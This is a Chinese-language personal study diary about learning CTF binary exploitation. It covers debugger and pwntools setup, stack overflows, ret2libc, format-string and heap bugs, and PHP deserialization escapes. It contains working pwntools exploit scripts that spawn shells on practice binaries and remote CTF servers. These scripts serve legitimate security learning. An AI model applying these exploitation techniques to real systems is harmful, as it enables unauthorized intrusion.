07.19
CTF特训营---REVERSE阅读
P208——P
1、X86指令体系
- 寄存器组
- 汇编指令集:Intel , AT&T
Intel的几种指令
2、X64指令体系
3、反汇编与反编译工具:IDA、HEX-RAY
以Jarvis OJ-Reverse-软件密码破解2为例
07.20 H4师傅书籍阅读记录
1、环境搭建
-
查看相关版本配置
内核版本
4.15.0-72-generic
python2.7
-
gdb安装
下载wget http://ftp.gnu.org/gnu/gdb/gdb-7.10.1.tar.gz
解压tar -zxf gdb-7.10.1.tar.gz
补充:-c create/ -v 显示执行过程 /-f file / -x extract / -z gzip压缩或ungzip解压
./configure ---> make --->
make的时候报错了。直接尝试apt -install gdb ,成功
gdb插件Pwndbg和peda
peda:
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
安装到了root目录下
Pwndbg
两个插件交替使用:
source ~/peda/peda.py
source 目录 gdbinit.py
/root/pwn/software/pwndbg/pwndbg
- pwntools
使用的是python2
pip install pwn
from pwn import *
使用:
p32(),打包为32位, u32()转换为十进制
python中,ord('a') = 97 chr(0x66) = f
-
ROPgadget
在程序中寻找 ROP chain 的一个辅助小工具
-
one_gadget
-
seccomp-tools
- Libc 数据库查询
2、题目aaaaa
file查看程序信息
响应版本ida打开--->main--->F5
数字点住,按h,可以10进制与16进制转换
观察程序逻辑,看如何能getshell
- 步骤,编写exp,如下
from pwn import *
r = process("./aaaaaaaaaa")
r.send("a"*200) # 数量大于 99 即可
r.interactive()
-
报错
权限不够,没有可执行权限
添加 chmod a+x aaaaaaaa
执行/bin/sh相当于开了一个shell窗口。
执行效果如下:
3、IDA Pro使用
shift + F12,查看字符串
4、ELF文件格式
具体内容参考 : https://blog.csdn.net/mergerly/article/details/94585901
-
.text --- 存放程序的汇编字节码
.data/.rodata 段**
用来存放已初始化的全局变量,以及已初始化的局部静态变量。
但是尝试的时候没找到.bss段
猜测是因为没有给可写的权限?因为.bss段是可写的。不对
用其他的程序来看
5、内存mapping介绍
配合pwngdb使用
6、gcc的使用
- 安全编译选项:-no-pie / -pie (关闭 / 开启)
开启PIE功能,编译器就会随机化ELF文件的内存装载基址。
7、常用的X86汇编指令
jne 0x40000 // 当 eax 不等于 0 时,跳转到 0x40000 地址
jz 0x40000 // 当 eax 等于 0 时,跳转到 0x40000 地址
8、pwngdb/peda使用
q 退出
peda:start 程序名
32位程序通过栈传递参数,64位先通过寄存器传递参数,多的再通过栈传递。
rbp指向栈底,一般都和返回地址有关
9、IDA中查看栈结构
esp是栈顶,计算的时候不看他
ebp是栈底,计算的时候是通过ebp的差值来计算大小的
10、ROP技术---返回导向编程(Return-oriented Programming)
中心思想:利用现有的或自己构造system("/bin/sh")
07.21
1、ssh连接,提升使用舒适感
Secure Shell(SSH),RSA加密
颜色配置原来一直不成功,参考知乎,修改成功
https://www.zhihu.com/question/36048211
通过ssh连接服务器
密码登陆的方法:
服务器端: /etc/init.d/sshd restart
netstat -tlnp | grep ssh
可以查看是否启用了ssh服务
客户端:ssh -p22 root@IP地址
退出登陆使用的是exit
这样是通过密码登陆了。虽然可以登陆,但是每次都要输入密码比较麻烦。可以通过证书来登陆。
客户端 ssh-keygen -t rsa
将公钥复制到服务器端,并在/etc/hosts.allow文件中加入 sshd: <A machine's IP>
参考 https://www.cnblogs.com/luckycn/p/8515391.html
尝试发现还需要密码,
问题应该出在公钥证书复制出错了。
手动把文件复制过去改名字,成功!!!!
纪念一下:
2、解决昨天的问题
- 一个小程序,里面字段不全,没有.bss是为什么?
答:因为Mac系统和Linux系统内部实现是不一样的,在Linux中查看就有了。
readily -a test
- 原来编译的时候 -static报错,也是因为平台不同。
3、ret2text
/root/.gdbinit
改为使用pwngdb
start day2_level0
即可开始调试
步入函数,step进入
得到buf的实际地址 0x7fffffffe340
得到距离是0x88字节,即136字节。返回地址是用rbp+8来计算的
IDA中查看 callsystem函数地址为:0x400596,在服务器中也是不变的。由于是.text段,所以叫ret2text.
from pwn import *
r = process('./day2_level0')
payload = 'a'*136
payload += p64(0x400596)
r.recv()
r.sendline(payload)
r.interactive()
如果不直接存在system("/bin/sh")
,需要自己构造。
3、题目-fd
http://pwnable.kr/play.php
- ls,显示三个文件。打开fd.c
输出flag的条件是:buf的值为LETMEWIN
反应太慢了,虽然卡片很可爱,但是体验感不佳。
题目-collision
提示是MD5碰撞
要求输入的长度是20并且check_password的结果要和hashcode相同。
4、题目:tell me something
64位文件,IDA打开,查看main函数,有溢出
查看gg函数
首先file文件,run,start
5、ret2shellcode
.bss是可执行的。
07.22
1、ret2shellcode
NX,Windows中对应的是DEP,不能直接执行栈上的数据。这里NX是关闭的。
首先得到s的地址是:0xffffd4cc
思想比较简单:只有覆盖到返回地址。但是由于程序本身会复制一次,所以在覆盖的时候就存放shellcode,会把shellcode复制到我们要执行的区域中。
2、ret2syscall
32位,静态链接。
.bss和stack 都不可执行
位置
0xffffd4bc
,
得到偏移 0x70
关于gadge,参考文章https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42530&highlight=pwn
其中讲到ret指令的本质是pop eip,gadget是以ret/jmp/call等指令结尾的一小段汇编指令
,它属于指令区,可以执行,可以绕过NX保护。
到这里看不懂了,开始看视频看能否理解。
07.23
荒废了一天,罪过。
07.24
1、re2syscall
前提:打开了NX使得栈不可执行。
ROPgadget的使用
使用报错
错误原因是:python2.7/ROPGadge 中没有scripts/ROPgadge。自己拷贝一个
sudo cp -r scripts /usr/local/lib/python2.7/dist-packages/ROPGadget-6.3.dist-info
.版本要换成自己相应的版本,解决!
安装个python3,参考https://www.cnblogs.com/lemon-feng/p/11208435.html
ROPgadget --binary ./二进制文件名(需要先编译)
经询问,如果开了PIE,地址就会从0x0000000开始
/bin/sh: 0x00000000000008f8
内容思路懂了,但是没有操作。
2、ret2libc
如果在上面那种情况中,没找到system() 、execve()这种系统级函数,就需要使用ret2libc
需要寻找基址+偏移
例题:64位。
收到的某个函数的地址要进行
puts_addr = eval(r.recvline()[:-1])
[:-1]是为了去掉接收的时候最后面的换行符,eval()是python内置函数,把其内容转换为数字。区分linux中的命令eval,它是执行两次的意思 =。=
payload = 填充到返回地址 + gadget改变寄存器rdi(rdi传入字符串 bin/sh的地址) + 要调用的system函数的地址
题目文件有一点问题,也没有操作成功。
但是!上一题puts出了libc的地址,如果没有给libc的地址,需要
- 手动构造puts或writes等输出函数
- 将其参数设置成为某个函数的got表,从而输出表中的实际地址,泄漏内存
实际操作步骤如下:
泄漏出libc的地址,调用puts.plt(puts.gots)
07.25
1、DASCTF 10:00 —— 15:00
虚假的签到题
32位,IDA打开。(这个和真实的可能是略有差异的,因为IDA毕竟是动态调试。)
main函数存在栈溢出,函数列表中有后门函数
只要覆盖返回地址,跳转到这个后门函数即可。类似于教程中的ret2text。
bin/sh这个字符被放在 .rodata段,
backdoor函数的地址为:0x0804857D
目的是找到这个位置到返回地址需要填充的字符的个数。
v4到返回地址的距离是0x1c字节,
s的地址
它到返回地址的距离是
如果高地址在下面,在栈中的结构s是在v4上面的。先尝试用s进行覆盖,填充0x2c个字节.
exp如下
from pwn import *
backdoor = 0x0804857D
r = process("./qiandao")
r.recvuntil("Can you solve this sign-in problem?") //这句修改
payload = 'a'*44 + p32(backdoor)
r.sendline(payload)
r.interactive
报错原因是:应该是recvuntil 不是recvuntill...修改之后
from pwn import *
backdoor = 0x0804857D
#r = process("./qiandao")
r = remote("183.129.189.60",10013)
r.sendline('aaa')
r.recvuntil("Can you solve this sign-in problem?")
payload = 'a' * 44 + p32(backdoor)
r.sendline(payload)
r.interactive
经提示....不是栈溢出漏洞,是格式化字符串 ...😢
7.26
1、ret2libc
重点是:泄漏内存。
通过自己构造puts或writes等输出函数,参数为某个函数的got表,就可以输出地址,泄漏内存。
泄漏地址:
在export中查找到main函数的地址是:0x080484F0
pus函数的实际地址为:0xf7e4bc10
07.27
1、ret2libc
需要多做的就是泄漏内存。
GOT表中存放的是实际地址.
gdb的正确使用方法:file ---> b main ---> r
distance 0xffffd4ec $ebp+4
得到距离 0x20,即32个字符。
找字段(shift + F7),.got.plt,地址为0x804a014
在gdb中查看其内容 , x 0x804a014
, 0xf7e4bc10
就是puts函数的实际地址。
exp如下:
from pwn import *
elf = ELF('./ret2libc2')
r = process("./ret2libc2")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
main_addr = 0x080484f0
payload = 'a'*32
payload += p32(elf.plt['puts'])+p32(main_addr) + p32(elf.got['puts'])
r.send(payload)
r.recvline()
libc_addr = u32(r.recv(4))-libc.symbols['puts']
success("libc_addr: " + hex(libc_addr))
r.recvuntil("Hello!")
system_addr = libc_addr + libc.symbols['system']
bin_sh_addr = libc_addr + next(libc.search("/bin/sh"))
payload2 = 'a'*32
payload2 += p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
r.send(payload2)
r.interactive()
可以使用one_gadget协助, 直接找到 bin/sh
one_gadget /lib/i386-linux-gnu/libc.so.6
把原来的
system_addr = libc_addr + libc.symbols['system']
bin_sh_addr = libc_addr + next(libc.search("/bin/sh"))
payload2 = 'a'*32
payload2 += p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
换为:
one_gadget = libc_addr + 0x3fd27 #根据实际内容来尝试
payload2 = 'a'*32
payload += p32(one_gadget)
2、格式化字符串漏洞
任意读取:
file
b main
r
输入部分:%x
预测应该输出的是$rbp+4的值,0xffffd554
应该找到key.txt的地址
%off $llxx , 泄漏出内存中的内容
任意写:
pwntools中有 fmtstr_payload()
还有ida插件lazyida,但是没安装成功。
3、题目Tell me something(Jarvis OJ)
64位程序,检查安全性,NX可执行。
IDA打开,read处存在栈溢出。
任务:
1、通过栈溢出,把返回地址覆盖为good_game的入口地址。
buf的地址为:0x7fffffffe400
但是rbp + 8的地址为0x4开头的。由于这里没有用到rbp,不能用rbp的值来计算。别人的wp里面是通过IDA查看的,但是这样不准确,有可能会发生错误。
手动查看的方法是:调试到ret,查看栈顶rsp的值。此处rsp是0x7fffffffe488
计算需要填充的字符长度为:0x88
IDA可以直接查看good_game的地址。地址为:0x00400620
写exp
from pwn import *
r = remote("pwn.jarvisoj.com","9876")
backdoor = 0x00400620
r.recvline()
payload = 'a'*136 + p64(backdoor)
r.sendline(payload)
r.interactive()
思路较为简单,只有一个填充/覆盖返回地址。但是我还是很棒的!得到flag!!!
07.28
1、格式化字符串漏洞
参考文章 格式化字符串任意地址写操作学习小计
scanf写了之后,栈顶上面还要继续存储其他内容。所以在printf的时候,如果遇到了%x,并不是直接就开始从想要的地方读了,而是从栈顶开始读的。我们多输入几个%x,就会一直往下读,直到读到了我们想要的内容。可以通过aaaa%4$x
来确定偏移,当输出为aaaa61616161时,就读到了我们输入的内容。
再参考文章 https://bbs.ichunqiu.com/thread-43624-1-1.html
如果要泄漏地址,就把要泄漏的地址写入内存,用%x读取。
任意写的时候,getshell的方法:
(程序中原本有system函数)
构造payload方法,手动构造。
防护措施:RELRO/FORTIFY
栈的知识暂时看完!实际的运用还是很深奥的~但是这里基础的知识掌握了,开始看堆的内容~
2、堆
参考文章:CTF pwn 中最通俗易懂的堆入坑指南
需要用到内存管理的知识。
ptmalloc2 堆管理器
没有malloc的时候vmmap
查看内存,没有heap的内容。
malloc之后再查看,看到了heap的内存空间。
可以计算出大小是132KB,并且指针保存在eax中。
07.29
1、讲课笔记总结
堆的功能:一般有new--malloc , delete--free , show, edit。
- malloc会分配一个堆块,并产生一个指针,这个指针会存放在全局变量中。
- delete -- free , 存在uaf,删除后使用。这是因为不删除存放的指针。
fast bin (0x20-0x80)的漏洞:
free之后,存放在main_arean区域
(每一个大小)内存用链表的方式存储。
针对它有一种fast bin attack,本质就是修改main_arean内指针的关系,造成uaf。
修改指针,指向sc,那么下次再分配时,指针就会指向sc。
注:got表中放的是libc的实际地址。
2、强网先锋AP
主要功能有3个
GET---malloc
根据v0[1] - &puts, 说明堆上放了puts函数的地址。
在Change函数中,可以自己输入v1, 并且后面会read这个大小。
read函数是读一个文件描述符,并且把它读取到buf中。
关于read函数,需要包含头文件 #include <unistd.h>
使用格式:ssize_t read(int fd, void *buf, size_t count);
这里会修改buf的内容,存在堆溢出。
http://blog.leanote.com/post/xp0int/[Pwn]-%E5%BC%BA%E7%BD%91%E5%85%88%E9%94%8B-AP-mf
目标:获得puts函数的地址,并把它修改。
exp编写如下:
先写文件和libc
from pwn import *
p = process("./task_main")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
熟悉每个函数的用法,明确要发送什么,接受什么。把他们分别定义成函数
def get(length, name):
p.recvuntil("Choice >> \n")
p.sendline("1")
p.recvuntil("The length of my owner's name:\n")
p.sendline(str(length))
p.recvuntil("Give me my owner's name:\n")
p.send(name)
def open(idx):
p.recvuntil("Choice >> \n")
p.sendline("2")
p.recvuntil("Please tell me which tickets would you want to open?\n")
p.sendline(str(idx))
p.recvuntil("I'm a magic tickets.I will tell you who is my owner!\n")
def change(idx, length, name):
p.recvuntil("Choice >> \n")
p.sendline("3")
p.recvuntil("Please tell me which tickets would you want to change it's owner's name?\n")
p.sendline(str(idx))
p.recvuntil("The length of my owner's name:")
p.sendline(str(length))
p.recvuntil("Give me my owner's name:\n")
p.send(name)
发送index和length的时候要用str()先封装一下。
open函数起到一个show的作用。
get两次,获得puts函数的地址。
3、由于明天要进行CTF机试,临时抱佛脚,看一些web、逆向的题目。
WEB
关于burp suite,安装插件SwitchyOmega
,使用火狐浏览器。
蒜了吧,我可能不适合web。看堆吧还是
4、堆介绍--参考书籍CTF特训营
fast bin
p通常都是1,不参与合并,用于快速分配小内存。
按照单链表进行组织。其他bin
双链表组织,先进先出FIFO。malloc基本规则
free基本规则
5、总结一些知识点
反序列化漏洞
php
序列化:serialize() 返回字符串
从一道题目来学习
参考 https://www.freebuf.com/news/172507.html
当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。
某些magic函数(_开头)在某些情况下会被自动调用。
<?php
class Student{
protected $name = 'Zhangsan';
public $sex = 'man';
function __wakeup(){
echo ' __wake is working'; echo '</br>';
echo 'I am:'.$this->name = 'zhangsan'; echo '</br>';
function __construct(){
echo '__construct is working'; echo '</br>';
echo 'I am:'.$this->name; echo '</br>';}
function __destruct(){
echo '__destruct is working'; echo '</br>';
echo 'I am:'.$this->name; echo '</br>';}
function __toString(){
echo ' __toString is working'; echo '</br>';
echo 'I am:'.$this->name = 'zhangsan'; echo '</br>';}
}
$Zhangsan = new Student;
$saveData = serialize($Zhangsan); //序列化后的字符串,可以保存在数据库或者文本文件中。
echo 'saveData is===>'.$saveData; echo '</br>';
?>
发现会先调用__construct
, 再调用 __destruct
参考文章https://www.cnblogs.com/litlife/p/11690918.html
数字表示长度,如果可以进行修改,可能会产生漏洞。
<?php
$kk = "123";
$kk_seri = serialize($kk);
echo $kk;
echo '</br>';
echo $kk_seri;
echo '</br>';
echo unserialize($kk_seri);
$not_kk_seri = 's:4:"123""';
echo unserialize($not_kk_seri);
?>
php定义一个数组的方法:
$name = array()
再分别赋值
如
$username = array();
$username[0] = "1001";
$username[1] = "1002";
$username[2] = "1003";
一个数组:含有两项 ["1ss'4k","hi guys"] 进行序列化的结果
a:2:{i:0;s:6:"1ss'4k";i:1;s:7:"hi guys";}
如果用bad_str
进行封装,会把单引号换为no。
a:2:{i:0;s:6:"1ssno4k";i:1;s:7:"hi guys";}
这时候还是6个字符,但明显1ssno4k变成了7个字符,所以就会报错。
经过特殊的方法,把前面的数字需要的字符补全,我们再自己输入” ;
等符号进行闭合, 就把 } 后面的内容成功逃逸掉了。(这种本质有点类似sql注入)
通过观察上面的几个代码我们能发现以下几个线索
1.能读取config.php或获得参数的值即可获得flag。
2.update.php 28行将用户更新信息序列化,然后传入存入数据库。
3.查看class.php中的update_profile()源码,发现底层先调用了filter()方法进行危险字符过滤,然后才存入数据库。
4.profile.php 16行取出用户的作为文件名获取文件内容并展示。
5.update.php 26行可以看到的值是,因此线索4中的文件名我们并不可控。
综合以上5点,再加上本文一开始的例子,思路基本已经出来了,程序将序列化之后的字符串进行过滤,导致用户可控部分溢出,从而控制后半段的序列化字符,最终控制的值为,即可获得。
这里关键就是中的方法,我们要找到能让原始字符‘膨胀’的转义。
07.30
1、继续做堆的题 --- 强网先锋AP
GET两次
动态调试,输入的值存放在eax中。
看地址,对应的是 ,对应的是。差值都是,地址对上了。
执行的是get函数。因为是64位,所以通过寄存器传递参数。
GET函数,步入,先分配了malloc函数
输入size的值,3, 分配malloc,
输入名字my,查看寄存器的值。
之后,又回到了。
还是GET,如果输入大小的时候输入7,nbytes的值就是6
看malloc之后内存的值是通过 x/10gx 地址
地址是rax寄存器的值。10代表可以查看的内存的数量。
malloc
2、malloc
fastbin
smallbin